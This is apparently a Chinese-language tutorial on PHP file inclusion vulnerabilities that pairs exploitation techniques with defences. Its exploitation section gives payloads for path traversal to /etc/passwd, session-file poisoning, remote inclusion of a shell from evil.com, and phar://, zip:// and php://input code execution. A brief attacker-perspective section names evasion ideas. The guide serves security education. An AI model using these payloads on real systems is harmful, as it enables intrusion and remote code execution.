文件包含漏洞全面解析与防御指南

一、漏洞原理

文件包含漏洞是Web应用程序中最常见的漏洞类型之一，它依赖于脚本运行环境。当应用程序使用攻击者控制的变量构建可执行代码路径时，攻击者就能控制运行时执行的文件，从而产生文件包含漏洞。

开发人员通常会将可重用函数写入单独文件，通过包含(include)方式调用，这种灵活性也带来了安全隐患，因为客户端可能调用恶意文件。

二、漏洞分类

1. 本地文件包含(LFI)

• 仅能包含当前服务器上的文件
• 示例：/etc/passwd、日志文件、会话文件等

2. 远程文件包含(RFI)

• Web应用程序下载并执行远程文件
• 通过HTTP或FTP URL获取远程文件
• 需要allow_url_fopen和allow_url_include开启

三、漏洞危害

1. Web服务器文件被浏览导致信息泄露
2. 任意脚本执行可能造成：
   • 网站篡改
   • 执行非法操作
   • 攻击其他网站(作为跳板)

四、漏洞利用技术

1. 基础利用

• 直接包含系统文件：?page=../../../etc/passwd
• 绕过简单过滤：
  • 不使用../直接访问：?page=/etc/passwd
  • 字符串截断：?page=file1.php/etc/passwd

2. 会话文件包含

利用条件：

1. 知道session存储位置(通过phpinfo获取session.save_path)
2. 能控制session内容

利用步骤：

1. 向session写入恶意代码：session.php?ctfs=<?php phpinfo();?>
2. 包含session文件：lfi.php?filename=/var/lib/php/session/sess_[id]

3. 远程文件包含绕过技巧

• 问号绕过：?filename=http://evil.com/shell.txt?
• 井号绕过：?filename=http://evil.com/shell.txt%23
  (%23是#的URL编码)

4. PHP伪协议利用

(1) php://filter

• 读取文件内容：php://filter/read=convert.base64-encode/resource=config.php
• 常用于读取配置文件源码

(2) phar://

• 解压执行压缩包内文件：phar://shell.png/shell.php
• 要求：PHP>=5.3.0，压缩包需为zip格式(可改后缀)

(3) zip://

• 类似phar但语法不同：zip://shell.png%23shell.php
• %23是#的URL编码

(4) php://input

• 读取POST原始数据
• 可执行POST提交的PHP代码
• 需要allow_url_include开启

利用方式：

POST /lfi.php?filename=php://input HTTP/1.1
... 
<?php system('whoami'); ?>

五、防御措施

1. 严格参数控制：

   • 取消不可控参数
   • 使用白名单限制可包含文件

2. 配置安全设置：

   • 开启open_basedir限制访问目录
   • 关闭allow_url_include防止远程包含
   • 关闭不必要的PHP伪协议

3. 代码层面防御：

   • 固定包含文件前缀：include('./lib/'.$file)
   • 检查文件后缀：if(substr($file,-4)!='.php') die();
   • 使用basename()过滤路径遍历字符

4. 系统层面：

   • 实施最小权限原则
   • 敏感文件设置适当权限
   • 定期安全审计

六、开发安全建议

1. 在开发阶段识别并弃用危险函数
2. 实施严格的输入验证和输出编码
3. 采用安全开发生命周期(SDL)
4. 设计时考虑：
   • 安全内核
   • 安全监控策略
   • 严格的认证授权机制
5. 上线前进行全面的安全评估

七、攻击者视角思考

1. 绕过过滤规则的技巧：

   • 编码绕过
   • 特殊字符利用
   • 协议混淆

2. 免杀技术：

   • 代码混淆
   • 动态加载
   • 合法函数滥用

3. 隐蔽通信：

   • 加密流量
   • 合法协议伪装
   • 低频通信

通过全面理解文件包含漏洞的原理、利用技术和防御措施，开发人员可以构建更安全的Web应用，安全人员也能更有效地识别和防范此类漏洞。